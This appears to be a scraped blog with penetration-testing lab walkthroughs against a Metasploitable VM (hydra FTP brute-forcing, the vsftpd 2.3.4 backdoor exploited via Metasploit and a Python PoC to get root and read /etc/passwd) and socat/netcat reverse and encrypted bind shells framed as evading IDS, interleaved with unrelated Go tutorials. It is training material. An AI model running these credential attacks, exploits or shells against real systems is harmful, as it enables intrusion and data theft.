congdong007

Penetration Test、Software Developer

0%

[metasploitable - linux] VSFTPD 2.3.4 exploit with hydra,metasploit,python POC

  1. Network Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# nmap -A -sV 192.168.244.136

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-05 15:58 EST
Nmap scan report for 192.168.244.136 (192.168.244.136)
Host is up (0.00064s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.244.140
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status


  1. VSFTPD 2.3.4 exploit with hydra

First , we need construct dictionaries about username and password
here’s the dictionaries which usernames named usernames.txt and passwords named passwords.txt

then , we use the tools hydra with the follow command line:

1
hydra -L /home/kali/Desktop/cd/mywordlists/usernames.txt -P /home/kali/Desktop/cd/mywordlists/passwords.txt 192.168.244.136 ftp -V

here’s the command line ouput looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-26 16:20:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://192.168.244.136:21/
[ATTEMPT] target 192.168.244.136 - login "admin" - pass "admin" - 1 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.244.136 - login "admin" - pass "msfadmin" - 2 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.244.136 - login "admin" - pass "root" - 3 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.244.136 - login "admin" - pass "user" - 4 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.244.136 - login "admin" - pass "" - 5 of 25 [child 4] (0/0)
[ATTEMPT] target 192.168.244.136 - login "msfadmin" - pass "admin" - 6 of 25 [child 5] (0/0)
[ATTEMPT] target 192.168.244.136 - login "msfadmin" - pass "msfadmin" - 7 of 25 [child 6] (0/0)
[ATTEMPT] target 192.168.244.136 - login "msfadmin" - pass "root" - 8 of 25 [child 7] (0/0)
[ATTEMPT] target 192.168.244.136 - login "msfadmin" - pass "user" - 9 of 25 [child 8] (0/0)
[ATTEMPT] target 192.168.244.136 - login "msfadmin" - pass "" - 10 of 25 [child 9] (0/0)
[ATTEMPT] target 192.168.244.136 - login "root" - pass "admin" - 11 of 25 [child 10] (0/0)
[ATTEMPT] target 192.168.244.136 - login "root" - pass "msfadmin" - 12 of 25 [child 11] (0/0)
[ATTEMPT] target 192.168.244.136 - login "root" - pass "root" - 13 of 25 [child 12] (0/0)
[ATTEMPT] target 192.168.244.136 - login "root" - pass "user" - 14 of 25 [child 13] (0/0)
[ATTEMPT] target 192.168.244.136 - login "root" - pass "" - 15 of 25 [child 14] (0/0)
[ATTEMPT] target 192.168.244.136 - login "user" - pass "admin" - 16 of 25 [child 15] (0/0)
[21][ftp] host: 192.168.244.136 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.244.136 - login "user" - pass "msfadmin" - 17 of 25 [child 6] (0/0)
[ATTEMPT] target 192.168.244.136 - login "user" - pass "root" - 18 of 25 [child 5] (0/0)
[ATTEMPT] target 192.168.244.136 - login "user" - pass "user" - 19 of 25 [child 7] (0/0)
[ATTEMPT] target 192.168.244.136 - login "user" - pass "" - 20 of 25 [child 8] (0/0)
[ATTEMPT] target 192.168.244.136 - login "" - pass "admin" - 21 of 25 [child 9] (0/0)
[ATTEMPT] target 192.168.244.136 - login "" - pass "msfadmin" - 22 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.244.136 - login "" - pass "root" - 23 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.244.136 - login "" - pass "user" - 24 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.244.136 - login "" - pass "" - 25 of 25 [child 4] (0/0)
[21][ftp] host: 192.168.244.136 login: user password: user

1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-05 21:20:47

here, we found two users we could use to login the ftp server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ftp 192.168.244.136
Connected to 192.168.244.136.
220 (vsFTPd 2.3.4)
Name (192.168.244.136:kali): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||54670|).
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 0 Oct 21 21:49 gordon.txt
-rw-r--r-- 1 1000 1000 29 Oct 30 23:31 myfile.log
-rw-r--r-- 1 1000 1000 914 Oct 21 14:59 nmap-list.txt
drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable
226 Directory send OK.
ftp> cd /
250 Directory successfully changed.
ftp> pwd
Remote directory: /
ftp> ls
229 Entering Extended Passive Mode (|||54956|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 14 2012 bin
drwxr-xr-x 4 0 0 1024 May 14 2012 boot
lrwxrwxrwx 1 0 0 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 13 0 0 13860 Jan 05 20:57 dev
drwxr-xr-x 94 0 0 4096 Jan 05 21:21 etc
drwxr-xr-x 6 0 0 4096 Apr 16 2010 home
drwxr-xr-x 2 0 0 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 0 0 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 0 0 4096 May 14 2012 lib
drwx------ 2 0 0 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 0 0 4096 Mar 16 2010 media
drwxr-xr-x 3 0 0 4096 Apr 28 2010 mnt
-rw------- 1 0 0 57012 Jan 05 20:54 nohup.out
drwxr-xr-x 2 0 0 4096 Mar 16 2010 opt
dr-xr-xr-x 118 0 0 0 Jan 05 20:54 proc
drwxr-xr-x 13 0 0 4096 Jan 05 20:54 root
drwxr-xr-x 2 0 0 4096 May 14 2012 sbin
drwxr-xr-x 2 0 0 4096 Mar 16 2010 srv
drwxr-xr-x 12 0 0 0 Jan 05 20:54 sys
drwxrwxrwt 5 0 0 4096 Jan 05 20:59 tmp
drwxr-xr-x 12 0 0 4096 Apr 28 2010 usr
drwxr-xr-x 14 0 0 4096 Mar 17 2010 var
lrwxrwxrwx 1 0 0 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
226 Directory send OK.
  1. VSFTPD 2.3.4 exploit with metasploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
msf6 > search vsftpd

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
June 30th 2011 and July 1st 2011 according to the most recent information
available. This backdoor was removed on July 3rd 2011.

References:
OSVDB (73573)
http://pastebin.com/AetT9sS5
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html


View the full module info with the info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.244.136:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.244.136:21 - USER: 331 Please specify the password.
[+] 192.168.244.136:21 - Backdoor service has been spawned, handling...
[+] 192.168.244.136:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
id
[*] Command shell session 1 opened (192.168.244.140:41279 -> 192.168.244.136:6200) at 2024-01-05 16:46:43 -0500

uid=0(root) gid=0(root)
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:d5:0c:8b brd ff:ff:ff:ff:ff:ff
inet 192.168.244.136/24 brd 192.168.244.255 scope global eth0
inet6 fe80::20c:29ff:fed5:c8b/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
link/ether 00:0c:29:d5:0c:95 brd ff:ff:ff:ff:ff:ff

  1. VSFTPD 2.3.4 exploit with python POC:

First, we should search the valid POC from kali’s exploit db with follow command line:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# searchsploit -t vsftpd
----------------------------------------------------------------------------------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
------------------------------------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results

Next, we copy the valid POC to current work directory, and try to exploit , the follow shows the exploit process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# searchsploit -m unix/remote/49757.py

Exploit: vsftpd 2.3.4 - Backdoor Command Execution
URL: https://www.exploit-db.com/exploits/49757
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
File Type: Python script, ASCII text executable
cp: overwrite '/home/kali/Desktop/cd/49757.py'? yes
Copied to: /home/kali/Desktop/cd/49757.py



┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# chmod +x 49757.py

┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# ls
49757.py wordlists
┌──(root㉿kali)-[/home/kali/Desktop/cd]
└─# python ./49757.py 192.168.244.136
Success, shell opened
Send `exit` to quit shell
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:d5:0c:8b brd ff:ff:ff:ff:ff:ff
inet 192.168.244.136/24 brd 192.168.244.255 scope global eth0
inet6 fe80::20c:29ff:fed5:c8b/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
link/ether 00:0c:29:d5:0c:95 brd ff:ff:ff:ff:ff:ff
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

To test a Go file, you typically need to create a test file in the same directory as the file you’re testing and write your test code within it. Here’s an example: you have a file named math.go containing a simple mathematical function ‘Add.’ Then, you will create a test file named math_test.go to test this function.

Assuming the math.go file is as follows:

1
2
3
4
5
6
7
// math.go

package main

func Add(a, b int) int {
return a + b
}

You can then create a math_test.go file to write your test code:

1
2
3
4
5
6
7
8
9
10
11
12
13
// math_test.go

package main

import "testing"

func TestAdd(t *testing.T) {
result := Add(2, 3)
expected := 5
if result != expected {
t.Errorf("Add(2, 3) returned %d, expected %d", result, expected)
}
}

In math_test.go, we import the testing package and write a test function named TestAdd. Test functions should start with ‘Test’ and accept a *testing.T parameter, which is used to report test failures.

Inside the TestAdd function, we call Add(2, 3) to execute the function being tested and compare the result to the expected value. If the result doesn’t match the expected value, we use t.Errorf to report the test failure with detailed error information.

Next, you can run the tests using the ‘go test‘ command in your terminal:

1
go test

Go will search for all the _test.go files in the current directory and execute the test functions within them. If the tests pass, you’ll see a success message. If the tests fail, you’ll get detailed failure information.

This is just a very basic example. In real-world projects, you can write more test cases to cover various scenarios and ensure that your code works correctly in different situations.”

In the Go language, “nil“ is a special predefined value commonly used to represent zero values or missing values in certain data structures. Here are some common usages and scenarios for “nil“:

  1. Pointer and Reference Types: The most common use of “nil“ is in pointer and reference types, indicating that a pointer doesn’t point to any valid memory address or a reference doesn’t reference any object. For example, “nil“ is used in the following cases:
1
2
3
var ptr *int    // Declare an integer pointer, its zero value is nil
var slice []int // Declare an integer slice, its zero value is nil
var m map[string]int // Declare a map, its zero value is nil
  1. Interface Types: “nil“ can also be used with interface types, signifying that an interface has no specific implemented value. This can be useful in some cases to check if an interface is empty (uninitialized or unassigned).
1
2
3
4
5
var myInterface interface{}

if myInterface == nil {
fmt.Println("The interface is empty")
}
  1. Function and Method Return Values: Functions and methods can return multiple values, some of which might be pointer types. In certain situations, returned pointers may be “nil,” indicating that there are no valid return values.
1
2
3
4
5
6
7
8
func findValue(slice []int, target int) (*int, bool) {
for i, val := range slice {
if val == target {
return &slice[i], true
}
}
return nil, false
}

It’s important to handle “nil“ with care to avoid runtime errors like null pointer references. It’s a good practice to check whether pointers, slices, maps, and other data structures are “nil“ before accessing them to ensure safety.

panic() and recover() are two important functions in the Go language for handling exceptions. Here is a simple example that demonstrates how to use panic() and recover() in Go.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"fmt"
)

// A function to simulate a situation that might cause a panic
func doSomething() {
defer func() {
if err := recover(); err != nil {
fmt.Println("Panic occurred but recovered:", err)
}
}()

// Simulate a problematic situation
num1 := 10
num2 := 0
result := num1 / num2 // This will cause a division by zero panic
fmt.Println("Result is:", result) // This won't be printed as the panic has already occurred
}

func main() {
fmt.Println("Starting the program")

doSomething()

fmt.Println("Program continues to execute") // Even if a panic occurs, this line will be printed because the panic has been recovered in doSomething()
}

In the example above, the doSomething() function attempts to divide 10 by 0, which would lead to a division by zero panic. However, we use defer() and recover() to catch and handle the panic. In the main() function, even if a panic occurs within doSomething(), the program continues to execute, and the panic information is printed within the recover() block.

Running this program will produce the following output:

1
2
3
4
Starting the program
Panic occurred but recovered: runtime error: integer divide by zero
Program continues to execute

This demonstrates that the recover() function successfully catches the panic, allowing the program to continue executing without terminating.”

In Go language, defer is a very useful keyword used for deferring the execution of functions, typically employed for performing cleanup or resource release operations before a function returns.

A defer statement pushes the function call that should be deferred onto a stack and executes these deferred function calls in a last-in, first-out (LIFO) order just before the current function returns.

Here are some important features and uses of defer:

  1. Deferred Execution: Using the defer keyword ensures that a function call is executed before the containing function returns, whether it returns normally or due to an error.

  2. Resource Cleanup: Common use cases include closing files, releasing locks, closing database connections, and other cleanup operations to prevent resource leaks.

  3. Parameter Evaluation: The parameters in a defer statement are evaluated when the defer statement is executed, not when the function returns.

Here are some examples demonstrating the use of defer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import "fmt"

func main() {
// Example 1: defer for file closing
file := openFile("example.txt")
defer closeFile(file)

// Example 2: defer for logging function execution time
defer logTime("Function execution")

// Example 3: Multiple defer statements execute in a last-in, first-out order
for i := 1; i <= 5; i++ {
defer fmt.Println("Deferred statement", i)
}

fmt.Println("Function body")
}

func openFile(filename string) *File {
fmt.Println("Opening file:", filename)
return // Open the file and return the file handle
}

func closeFile(file *File) {
fmt.Println("Closing file")
// Close the file
}

func logTime(message string) {
fmt.Println(message, "at some time")
}

In the above examples, defer statements are used to ensure the file is closed before main returns, log the execution time of the function, and execute multiple defer statements in a last-in, first-out order.

defer is a powerful tool in Go that can help you write safer and cleaner code, ensuring proper resource release and consistency.”

In Go language, closures and anonymous functions are both forms of functions, but they have some important differences. Below, I will provide examples of the usage and differences between these two concepts:

  1. Closure Example:
    A closure refers to a function that captures one or more variables from its outer function scope and can be called outside of that function while still accessing these captured variables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package main

import "fmt"

func main() {
outerVar := 10

// Closure function
closure := func() {
fmt.Println("Outer variable outerVar:", outerVar)
}

// Call the closure function
closure() // Output: Outer variable outerVar: 10

// Modify the outer variable
outerVar = 20

// Call the closure function again
closure() // Output: Outer variable outerVar: 20
}

In the above example, closure is a closure that captures the outer variable outerVar and can access and modify that variable even outside the function.

  1. Anonymous Function Example:

An anonymous function is a function without a name; it can be directly assigned to a variable or passed as an argument to other functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

import "fmt"

func main() {
// Define and call an anonymous function
result := func(x, y int) int {
return x + y
}(5, 3)

fmt.Println("Result of the anonymous function:", result) // Output: Result of the anonymous function: 8

// Assign an anonymous function to a variable
add := func(x, y int) int {
return x + y
}

sum := add(10, 20)
fmt.Println("Calling the anonymous function using a variable:", sum) // Output: Calling the anonymous function using a variable: 30
}

In the above example, we define an anonymous function and call it directly. We also assign another anonymous function to the add variable and use that variable to call the function.

To summarize the differences:

A closure is a function that captures external variables and can access and modify them outside of the function.
An anonymous function is a function without a name, which can be assigned to a variable or passed as an argument to other functions.
It’s important to note that while closures often involve anonymous functions, not all anonymous functions are closures. A closure is a specific type of anonymous function that captures external variables.

“go func()” is a way in the Go programming language to launch new concurrent goroutines. A goroutine is a lightweight thread in Go used for concurrent task execution. Using “go func()” allows you to create new concurrent execution flows in your program without the need to explicitly create threads or manage the complexity of thread management.

Here is a basic example and some key concepts of using “go func()”:

Basic Example:

1
2
3
4
5
6
7
func main() {
go func() {
// Place the code you want to execute in a new concurrent goroutine here
}()

// The main goroutine continues to execute other work
}

In the example above, “go func()” starts a concurrent goroutine for an anonymous function, which will execute the code inside it. The main goroutine continues to execute other tasks, while the new concurrent goroutine runs in the background.

Key Concepts:

  1. Anonymous Function: Anonymous functions are typically used to define “go func()” because there’s no need to name the concurrent goroutine. The code for the anonymous function can be enclosed in {} as needed.

  2. Concurrent Execution: Goroutines launched with “go func()” run concurrently in the background without blocking the main program’s execution. This allows you to execute multiple tasks simultaneously, improving program performance.

  3. Data Sharing: Concurrent goroutines can share data, but it’s important to handle shared data carefully to avoid race conditions and data races. You can use tools provided by the “sync” package to manage access to shared data.

  4. Goroutine Management: Go’s runtime system is responsible for creating, scheduling, and destroying goroutines. You don’t need to worry about the complexity of thread creation and destruction.

  5. Waiting for Goroutines to Complete: If you need to wait for concurrent goroutines to finish, you can use mechanisms like “sync.WaitGroup” or channels to implement waiting.

Using “go func()” is a simple way to achieve concurrency in the Go programming language, allowing you to run tasks in parallel, such as handling concurrent requests, performing background tasks, or other work that needs to execute simultaneously. However, be cautious about handling concurrency issues and ensuring that shared data is synchronized and accessed correctly.

Socat is a command-line utility that establishes two bidirectional byte streams and transfers data
between them. For penetration testing, it is similar to Netcat but has additional useful features.

While there are a multitude of things that socat can do, we will only cover a few of them to illustrate
its use.

Socat File Transfers

Server side:

1
2
┌──(root㉿kali)-[/home/kali/Desktop]
└─# socat TCP4-LISTEN:443,fork file:nmap-list.txt

Client side:

1
2
3
4
5
6
C:\Users\Administrator\Desktop\socat> socat TCP4:192.168.244.140:443 file:nmap-list.txt ,create
C:\Users\Administrator\Desktop\socat> type nmap-list.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 23:19 EDT
Warning: 199.241.133.26 giving up on port because retransmission cap hit (10).
Stats: 0:07:04 elapsed; 0 hosts completed (64 up), 64 undergoing SYN Stealth Scan
...

Socat Reverse Shells

Server side:

1
2
C:\Users\Administrator\Desktop\socat> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[5640] N listening on AF=2 0.0.0.0:443

Client side:
When client side type follow command :

1
2
┌──(root㉿kali)-[/home/kali/Desktop]
└─# socat TCP4:192.168.244.140:443 EXEC:/bin/bash

Then the server side , look like:

1
2
3
4
5
6
7
8
9
C:\Users\Administrator\Desktop\socat> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[5640] N listening on AF=2 0.0.0.0:443
... socat[5640] N accepting connection from AF=2 192.168.244.140:54720 on 192.168.244.144:443
... socat[5640] N using stdout for reading and writing
... socat[5640] N starting data transfer loop with FDs [4,4] and [1,1]
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Socat Encrypted Bind Shells

To add encryption to a bind shell, we will rely on Secure Socket Layer certificates. This level of
encryption will assist in evading intrusion detection systems (IDS) and will help hide the sensitive
data we are transceiving.
To continue with the example, we will use the openssl application to create a selfsigned certificate using the following options:
• req: initiate a new certificate signing request
• -newkey: generate a new private key
• rsa:2048: use RSA encryption with a 2,048-bit key length.
• -nodes: store the private key without passphrase protection
• -keyout: save the key to a file
• -x509: output a self-signed certificate instead of a certificate request
• -days: set validity period in days
• -out: save the certificate to a file

Once we generate the key, we will cat the certificate and its private key into a file, which we will
eventually use to encrypt our bind shell.

Server side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[/home/kali/Desktop]
└─# openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
...+..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.+.....+.+...+.....+......+.+......+.....+.......+.....+...............+.+.....+.+......+...+..+....+...+...+..................+.........+...+.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+......+......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.+.+......+...+..+.+.....+.........+......+...+.........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*..............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+....+........+....+.....+.+.....+...+.......+..+.......+........+.+.....+.+...+........+.........+..................+......+.........+......+..........+.........+..+....+.........+......+.........+...+..+...+....+........+......+.+.........+......+...........+...+.......+...........................+.....+.......+......+........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CA
State or Province Name (full name) [Some-State]:Quebec
Locality Name (eg, city) []:Montreal
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Raohua
Organizational Unit Name (eg, section) []:Try Harder Department
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# cat bind_shell.key bind_shell.crt > bind_shell.pem

┌──(root㉿kali)-[/home/kali/Desktop]
└─# socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

Client side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\Users\Administrator\Desktop\socat> socat - OPENSSL:192.168.244.140:443,verify=0
id
uid=0(root) gid=0(root) 0=1000(root)
whoami
root
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:f9:b4:b9 brd ff:ff:ff:ff:ff:ff
inet 192.168.244.140/24 brd 192.168.244.255 scope global dynamic noprefixroute eth0
valid_lft 1168sec preferred_lft 1168sec
inet6 fe80::9d6e:bd4e:a4b2:6ffb/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:1d:28:b9:62 brd ff:ff:ff:ff:ff:ff

Netcat first released in 1995(!) by Hobbit is one of the “original” network penetration testing
tools and is so versatile that it lives up to the author’s designation as a hacker’s “Swiss army knife”.
The clearest definition of Netcat is from Hobbit himself: a simple “utility which reads and writes
data across network connections, using TCP or UDP protocols.

  1. Connecting to a TCP/UDP Port

We can use client mode to connect to any TCP/UDP port, allowing us to:
• Check if a port is open or closed.
• Read a banner from the service listening on a port.
• Connect to a network service manually.

Example:

1
nc -nv 10.11.10.2 110

-n option to skip DNS name resolution;
-v to add some verbosity;

Output:

1
2
3
4
5
6
7
8
(UNKNOWN) [10.11.10.2] 110 (pop3) open
+OK Dovecot ready.
USER offsec
+OK
PASS offsec
-ERR [AUTH] Authentication failed.
quit
+OK Logging out
  1. Listening on a TCP/UDP Port

Example:

First , server start listening:

1
2
3
//From server : 
msfadmin@metasploitable:~$ nc -nlvp 4444
listening on [any] 4444 ...

Then client try to connect server,and send “hello world”:

1
2
3
4
5
//From client : 
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.136 4444
(UNKNOWN) [192.168.244.136] 4444 (?) open
hello world

The server will receive message “hello world”:

1
2
3
4
5
//From server : 
msfadmin@metasploitable:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.244.136] from (UNKNOWN) [192.168.244.140] 47386
hello world
